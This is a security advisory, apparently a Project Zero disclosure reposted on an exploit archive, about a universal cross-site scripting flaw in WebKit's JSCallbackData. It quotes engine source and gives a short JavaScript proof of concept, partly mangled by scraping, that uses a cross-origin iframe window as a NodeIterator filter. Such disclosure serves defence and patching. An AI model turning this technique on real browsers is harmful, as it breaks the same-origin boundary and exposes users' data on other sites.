Apple WebKit JSCallbackData UXSS

Apple WebKit suffered from a cross site scripting vulnerability with JSCallbackData.

MD5 | 83ae0d1b377d360be9909356995e7ec2

 Apple Webkit: UXSS with JSCallbackData 


Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
JSCallbackDataStrong(JSC::JSObject* callback, void*)
: m_callback(callback->globalObject()->vm(), callback)

JSC::JSObject* callback() { return m_callback.get(); }
JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);

JSC::Strong<JSC::JSObject> m_callback;

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)

auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1)

ExecState* exec = globalObject->globalExec();
JSValue function;
CallData callData;
CallType callType = CallType::None;

if (method != CallbackType::Object) {
function = callback;
callType = callback->methodTable()->getCallData(callback, callData);
if (callType == CallType::None) {
if (method == CallbackType::Function) {
returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2)
return JSValue();

But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.


"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
f.onload = null;

try {
let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
} catch (e) {

f.src = "<a href="";" title="" class="" rel="nofollow">";</a>

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Found by: lokihardt

Related Posts